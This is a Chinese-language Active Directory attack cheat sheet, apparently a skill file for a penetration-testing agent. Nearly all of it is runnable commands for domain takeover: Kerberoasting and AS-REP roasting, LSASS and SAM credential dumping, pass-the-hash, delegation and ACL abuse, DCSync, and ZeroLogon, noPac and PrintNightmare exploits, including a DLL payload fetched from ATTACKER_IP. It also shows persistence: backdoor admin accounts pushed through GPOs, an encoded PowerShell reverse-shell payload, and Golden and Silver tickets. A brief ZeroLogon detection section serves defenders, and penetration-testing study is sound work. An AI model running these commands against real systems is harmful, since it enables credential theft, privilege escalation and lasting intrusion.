# 如果已有域凭据,可以自动查找
impacket-GetNPUsers DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile asrep.txt
# 破解
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 或
john --format=krb5asrep asrep.txt --wordlist=/usr/share/wordlists/rockyou.txtKerberoasting
针对注册了 SPN 的服务账户(需要任意域用户凭据):
# 枚举 SPN 并请求票据
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile kerberoast.txt
# 破解
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# RC4 加密(etype 23): hashcat -m 13100
# AES256 加密(etype 18): hashcat -m 19700服务账户密码通常比用户密码更弱(设置后很少更改)。
NTLM Hash 获取与利用
SAM 数据库(本地 Hash)
# 远程 dump
impacket-secretsdump DOMAIN/ADMIN:PASS@TARGET
# 本地提取(reg save)
reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM sys.hiv
impacket-secretsdump -sam sam.hiv -system sys.hiv LOCALLSASS 内存(域凭据/明文密码)
# comsvcs.dll MiniDump(不需要上传工具)
tasklist /fi "imagename eq lsass.exe" # 获取 LSASS PID
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump PID C:\Windows\Temp\lsass.dmp full
# 离线分析
pypykatz lsa minidump lsass.dmpPass-the-Hash
netexec smb 10.0.0.0/24 -u admin -H NTLM_HASH --continue-on-success
impacket-psexec -hashes :NTLM_HASH DOMAIN/admin@TARGET
impacket-wmiexec -hashes :NTLM_HASH DOMAIN/admin@TARGET
evil-winrm -i TARGET -u admin -H NTLM_HASHOverpass-the-Hash(NTLM → Kerberos TGT)
# 用 NTLM Hash 获取 TGT(在 Kerberos-only 环境中有用)
impacket-getTGT DOMAIN/USER -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=USER.ccache
impacket-psexec -k -no-pass DOMAIN/USER@TARGET远程凭据收割工具
lsassy — 远程 LSASS 凭据提取
# 远程导出 LSASS(无需 RDP/交互式登录)
lsassy -d DOMAIN -u USER -p PASSWORD TARGET
lsassy -d DOMAIN -u USER -H NTLM_HASH TARGET
# 批量提取(整个网段)
lsassy -d DOMAIN -u USER -p PASSWORD 10.0.0.0/24
# 指定导出方式(规避 AV)
lsassy -d DOMAIN -u USER -p PASSWORD TARGET -m comsvcs
lsassy -d DOMAIN -u USER -p PASSWORD TARGET -m nanodumpdonpapi — DPAPI 凭据收割
# 收割目标机器上的 DPAPI 保护凭据(浏览器密码、Wi-Fi、RDP、证书等)
donpapi DOMAIN/USER:PASSWORD@TARGET
donpapi DOMAIN/USER@TARGET -hashes :NTLM_HASH
# 批量收割
donpapi DOMAIN/USER:PASSWORD@TARGET1 DOMAIN/USER:PASSWORD@TARGET2
# 指定输出目录
donpapi DOMAIN/USER:PASSWORD@TARGET -output-dir /tmp/dpapi_lootpypykatz — 本地 LSASS dump 离线分析
# 解析本地 lsass dump 文件
pypykatz lsa minidump lsass.dmp
# 解析注册表 hive(SAM/SYSTEM/SECURITY)
pypykatz registry --sam SAM --system SYSTEM --security SECURITY
# 从 AD 数据库提取凭据
pypykatz lsa nt /path/to/ntds.dit -system SYSTEMgpp-decrypt — 组策略密码解密
# 解密 Groups.xml 中的 cpassword(GPP 密码)
gpp-decrypt "ENCRYPTED_CPASSWORD"
# 常见 GPP 密码文件路径
# \\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
# \\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\Machine\Preferences\Services\Services.xml
# \\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml
# 自动搜索 SYSVOL 中的 GPP 密码
netexec smb DC_IP -u USER -p PASSWORD -M gpp_passwordAD 域提权、委派攻击与持久化
委派攻击
非约束委派
委派主机可以代替任何用户向任何服务认证。诱导域管连接到委派主机 → 获取域管 TGT。
# 查找非约束委派主机
impacket-findDelegation DOMAIN/USER:PASS -dc-ip DC_IP
# 或 netexec ldap DC_IP -u USER -p PASS -M find-delegation约束委派
服务可以代替用户向指定服务认证。如果控制了约束委派服务 → 可以模拟任意用户访问目标服务。
impacket-getST -spn TARGET_SPN -impersonate administrator DOMAIN/SERVICE_USER:PASS -dc-ip DC_IP基于资源的约束委派 (RBCD)
如果你能修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:
# 添加一个你控制的机器账户
impacket-addcomputer DOMAIN/USER:PASS -computer-name 'FAKE$' -computer-pass 'Password123!'
# 设置 RBCD
impacket-rbcd DOMAIN/USER:PASS -delegate-from 'FAKE$' -delegate-to TARGET$ -action write -dc-ip DC_IP
# 获取票据
impacket-getST -spn cifs/TARGET -impersonate administrator DOMAIN/'FAKE$':'Password123!' -dc-ip DC_IPACL 滥用
BloodHound 中常见的危险 ACL 路径:
| 权限 | 可以做什么 |
|---|---|
| GenericAll | 重置密码、修改组成员、设置 RBCD |
| GenericWrite | 修改属性(设置 SPN → Kerberoasting) |
| WriteDACL | 给自己授予 GenericAll |
| WriteOwner | 修改对象所有者 → 再修改 DACL |
| ForceChangePassword | 直接重置目标密码 |
| AddMember | 将自己加入特权组 |
ACL 滥用命令速查
# GenericAll on User → 重置密码
net rpc password USER newpass -U DOMAIN/ATTACKER%PASS -S DC_IP
# 或
rpcclient -U "DOMAIN/ATTACKER%PASS" DC_IP -c "setuserinfo2 TARGET_USER 23 'NewPass123!'"
# GenericAll on Group → 添加成员
net rpc group addmem "Domain Admins" ATTACKER -U DOMAIN/ATTACKER%PASS -S DC_IP
# WriteDACL → 授予自己 DCSync 权限
impacket-dacledit -action write -rights DCSync -principal ATTACKER -target-dn "DC=domain,DC=com" DOMAIN/ATTACKER:PASS -dc-ip DC_IP
# GenericWrite on User → 设置 SPN 后 Kerberoasting
python3 /pentest/targetedKerberoast/targetedKerberoast.py -u ATTACKER -p PASS -d DOMAIN --dc-ip DC_IP其他提权路径
- LAPS:
netexec ldap DC_IP -u USER -p PASS -M laps— 读取本地管理员密码 - GPP 密码:
netexec smb DC_IP -u USER -p PASS -M gpp_password— 组策略中的密码 - ADCS 攻击:→
/skill:adcs-certipy-attack— 证书服务滥用(ESC1-ESC11) - NTLM Relay:→
/skill:ntlm-relay-attack— 中继攻击获取域控
域控攻击
DCSync
需要域管权限或 Replicating Directory Changes 权限:
impacket-secretsdump DOMAIN/ADMIN:PASS@DC_IP -just-dc
# 获取所有用户的 NTLM 哈希,包括 krbtgtZeroLogon (CVE-2020-1472)
将域控机器密码重置为空,直接获取域管权限。影响所有未打补丁的 Windows Server。
# 检测(工具路径: /pentest/CVE-2020-1472/)
python3 /pentest/CVE-2020-1472/zerologon_tester.py DC_HOSTNAME DC_IP
# 利用(危险!会破坏域控密码,需要恢复)
python3 /pentest/CVE-2020-1472/cve-2020-1472-exploit.py DC_HOSTNAME DC_IP
# 利用后 dump 域内所有哈希
impacket-secretsdump -no-pass -just-dc DOMAIN/DC_HOSTNAME\$@DC_IP
# ⚠️ 必须恢复域控密码!否则域复制会中断
impacket-restorepassword DOMAIN/DC_HOSTNAME@DC_HOSTNAME -target-ip DC_IP \
-hexpass ORIGINAL_HEX_PASSWORDnoPac (CVE-2021-42278/42287)
普通域用户直接提升为域管。利用机器账户名称欺骗 + S4U2self。
# 一键利用(工具路径: /pentest/noPac/)
python3 /pentest/noPac/noPac.py DOMAIN/USER:PASS -dc-ip DC_IP -dc-host DC_HOSTNAME --impersonate administrator -dump
# 或获取 shell
python3 /pentest/noPac/noPac.py DOMAIN/USER:PASS -dc-ip DC_IP -dc-host DC_HOSTNAME --impersonate administrator -shellPrintNightmare (CVE-2021-1675 / CVE-2021-34527)
# 远程 RCE(需要 SMB 共享托管 DLL)
python3 CVE-2021-1675.py DOMAIN/USER:PASS@DC_IP '\\ATTACKER_IP\share\payload.dll'ADCS 攻击(ESC1-ESC11)
证书服务是目前域渗透中最强大的攻击面: → 完整 ADCS 攻击方法论 → /skill:adcs-certipy-attack
NTLM Relay 到域控
→ 完整 NTLM 中继攻击 → /skill:ntlm-relay-attack
GPO 滥用
如果对 GPO 有编辑权限,可以在域内所有关联 OU 的机器上执行命令:
# 检查 GPO 权限
# BloodHound: 搜索对 GPO 有 GenericWrite/WriteDACL 的用户
# SharpGPOAbuse(Windows)
SharpGPOAbuse.exe --AddComputerTask --TaskName "pwn" \
--Author NT_AUTHORITY\SYSTEM --Command "cmd.exe" \
--Arguments "/c net localgroup administrators USER /add" \
--GPOName "VULNERABLE_GPO"
# pyGPOAbuse(Linux,工具路径: /pentest/pyGPOAbuse/)
python3 /pentest/pyGPOAbuse/pygpoabuse.py DOMAIN/USER:PASS -gpo-id "GPO_GUID" \
-command "cmd.exe /c net localgroup administrators USER /add" \
-dc-ip DC_IP持久化
Golden Ticket
# 需要 krbtgt 哈希(DCSync 获取)
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc-user krbtgt
# 伪造 Golden Ticket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx \
-domain DOMAIN administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass DOMAIN/administrator@DC_IPSilver Ticket
# 用服务账户 Hash 伪造特定服务票据(不经过域控)
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-xxx \
-domain DOMAIN -spn cifs/TARGET administrator| 方法 | 条件 | 隐蔽性 |
|---|---|---|
| Golden Ticket | krbtgt 哈希 | 高(10 年有效期) |
| Silver Ticket | 服务账户哈希 | 高(不经过域控) |
| DCSync 后门 | 域管权限 | 低(给用户加 DCSync 权限) |
| AdminSDHolder | 域管权限 | 中(60 分钟自动恢复 ACL) |
| 机器账户 | 域用户即可 | 高(RBCD 后门) |
| Shadow Credentials | 写 msDS-KeyCredentialLink | 高(证书认证) |
| Golden Certificate | CA 私钥 | 极高(伪造任意证书) |
GPO 滥用 — gpowned
当拥有对 GPO 的写权限时,可通过 GPO 部署恶意计划任务/脚本:
# 检查当前用户对哪些 GPO 有写权限
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP get writable --otype gpo
# 通过 GPO 添加计划任务(反弹 shell)
python3 /pentest/pyGPOAbuse/pygpoabuse.py DOMAIN/USER:PASS \
-gpo-id "GPO_GUID" -command "powershell -e BASE64_PAYLOAD" \
-dc-ip DC_IP -f
# GPOwned — GPO 滥用另一个工具
python3 /pentest/GPOwned/GPOwned.py -u USER -p PASS -d DOMAIN -dc-ip DC_IP \
-gpo-id "GPO_GUID" -command "net user backdoor P@ss /add && net localgroup administrators backdoor /add"Shadow Credentials — pywhisker
当拥有对目标用户/机器的 msDS-KeyCredentialLink 属性写权限时:
# 添加 Shadow Credentials(生成证书 + 修改 KeyCredentialLink)
python3 /pentest/pywhisker/pywhisker.py -d DOMAIN -u ATTACKER -p PASS \
--target TARGET_USER --action add --dc-ip DC_IP
# 用生成的证书获取 TGT(配合 certipy 或 PKINITtools)
certipy auth -pfx TARGET_USER.pfx -dc-ip DC_IP
# 或
python3 /pentest/PKINITtools/gettgtpkinit.py -cert-pfx TARGET_USER.pfx \
DOMAIN/TARGET_USER TARGET_USER.ccache
# 清理 Shadow Credentials
python3 /pentest/pywhisker/pywhisker.py -d DOMAIN -u ATTACKER -p PASS \
--target TARGET_USER --action remove --device-id DEVICE_ID --dc-ip DC_IPCVE-2020-1472 ZeroLogon 攻击与恢复
Netlogon 协议 AES-CFB8 实现缺陷:使用全零 IV,攻击者可在平均 256 次尝试内以零密文通过认证,将域控机器账户密码置空后 DCSync 提取全域哈希。
---
原理
- Netlogon 使用 AES-CFB8 模式进行 ComputeNetlogonCredential 运算
- IV 固定为全零(16 字节 0x00)
- 当 client challenge 也为全零时,约 1/256 概率密文输出同为全零
- 认证通过后可调用 NetrServerPasswordSet2 将 DC 机器密码置为空
- 机器密码置空后可直接 DCSync(DC 机器账户默认有复制权限)
---
漏洞检测
# 检测目标 DC 是否存在漏洞(不修改密码)
zerologon-scan '$DC_NAME' '$DC_IP'
# netexec 检测
netexec smb $DC_IP -u '' -p '' -M zerologon---
方法一 — 认证 Relay(推荐,无破坏性)
不修改机器密码,通过 Netlogon 认证触发 NTLM 中继完成 DCSync。
前置条件
- 至少两台域控(DC1 中继到 DC2)
- 攻击机网络可达两台 DC
攻击步骤
# 1. 启动 ntlmrelayx 监听,目标为 DC2 的 DCSync
ntlmrelayx -t dcsync://$DC2 -smb2support
# 2. 利用 Print Spooler 或 PetitPotam 触发 DC1 认证到攻击机
dementor.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $DC1
# 替代触发方式
python3 PetitPotam.py $ATTACKER_IP $DC1
printerbug.py $DOMAIN/$USER:$PASSWORD@$DC1 $ATTACKER_IP结果
- ntlmrelayx 自动完成 DCSync,输出域内所有哈希
---
方法二 — 密码置空攻击(破坏性)
将 DC 机器账户密码置为空后 DCSync。必须在攻击后恢复密码,否则域复制中断。
攻击步骤
# 1. 利用漏洞将 DC 机器密码置空
zerologon-exploit '$DC_NAME' '$DC_IP'
# 2. 用空密码 DCSync 提取 DC 机器账户哈希
secretsdump -no-pass '$DOMAIN/$DC_NAME$'@'$DC_FQDN'
# 3. 用获取的域管哈希 DCSync 提取全部哈希
secretsdump -hashes :$NTHASH '$DOMAIN/$ADMIN'@'$DC_FQDN'
# 4. 保存原始机器密码哈希(hex),用于恢复
# secretsdump 输出中 $DC_NAME$:plain_password_hex: 即为 HEXPASS恢复机器密码(必须执行)
# 使用 zerologon-restore 恢复
zerologon-restore '$DOMAIN/$DC_NAME$'@'$DC_FQDN' -target-ip $DC_IP -hexpass $HEXPASS
# 验证恢复成功
secretsdump -hashes :$NTHASH '$DOMAIN/$ADMIN'@'$DC_FQDN' -just-dc-user '$DC_NAME$'不恢复密码的后果:
- 域控之间复制失败
- DNS 服务异常
- 组策略无法更新
- 域内服务逐步崩溃
---
Windows 攻击方式(mimikatz)
# 利用漏洞
lsadump::zerologon /target:$DC_FQDN /ntlm /null /account:$DC_NAME$ /exploit
# DCSync 提取哈希
lsadump::dcsync /domain:$DOMAIN /dc:$DC_FQDN /user:krbtgt /authuser:$DC_NAME$ /authdomain:$DOMAIN /authpassword:"" /authntlm
# 恢复机器密码
lsadump::postzerologon /target:$DC_FQDN /account:$DC_NAME$---
检测与防御
日志检测
- Event ID 4742: 计算机账户被修改(机器密码变更)
- Event ID 5805: Netlogon 认证失败(大量尝试特征)
- Event ID 5723: 域控与其他 DC 间 Netlogon 会话建立失败
网络检测
- 短时间内大量 Netlogon 认证请求(RPC over TCP 135/445)
- Client challenge 全零特征
防御措施
- 安装 KB4571694 补丁
- 启用 FullSecureChannelProtection 注册表项
- 组策略:Domain controller: Allow vulnerable Netlogon secure channel connections → 设为 Disabled
---
攻击决策
发现域控?
├─ 扫描 zerologon → 存在漏洞
│ ├─ 有两台 DC → 方法一 Relay(推荐,无破坏)
│ └─ 仅一台 DC → 方法二密码置空(⚠️ 必须恢复)
└─ 已修补 → 尝试其他攻击路径